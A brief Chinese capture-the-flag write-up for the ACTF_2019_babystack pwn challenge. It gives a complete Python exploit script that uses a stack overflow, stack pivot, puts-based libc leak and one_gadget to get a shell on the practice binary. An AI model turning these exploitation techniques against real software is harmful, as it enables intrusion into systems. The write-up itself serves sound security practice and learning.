ACTF_2019_babystack
buuoj刷pwn题之ACTF_2019_babystack
漏洞明显,溢出rop,可溢出16个字节
栈迁移到变量s上,然后leak,onegadget一把梭
#coding=utf8 from PwnContext import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) ctx.binary = './ACTF_2019_babystack' ctx.remote = ('0.0.0.0', 0) ctx.remote_libc = '../../libc/libc-2.27.so' ctx.debug_remote_libc = True rs() # rs('remote') # print(ctx.libc.path) size = 0xe0 start = 0x4008F6 leave_ret = 0x400a18 format_str = 0x400B58 pop_rdi_ret = 0x400ad3 pop_rsi_r15_ret = 0x400ad1 sla('>', str(size)) ru('saved at ') stack_addr = int(ru('\n'), 16) leak('stack_addr', stack_addr) pay = '' # ROP pay += p64(stack_addr) # rbp pay += p64(pop_rdi_ret) + p64(ctx.binary.got['puts']) pay += p64(ctx.binary.plt['puts']) pay += p64(start) pay += '\x00' * (size - len(pay) - 0x10) + p64(stack_addr) + p64(leave_ret) #dbg('b *' + hex(start)) #raw_input() s(pay) ru('Byebye~\n') puts_addr = uu64(ru('\n')) libc_base = puts_addr - ctx.libc.sym['puts'] onegadget = libc_base + 0x4f322 leak('puts', puts_addr) leak('libc_base', libc_base) leak('onegadget', onegadget) sla('>', str(size)) pay = '\x00' * (size - 8) + p64(onegadget) s(pay) irt()
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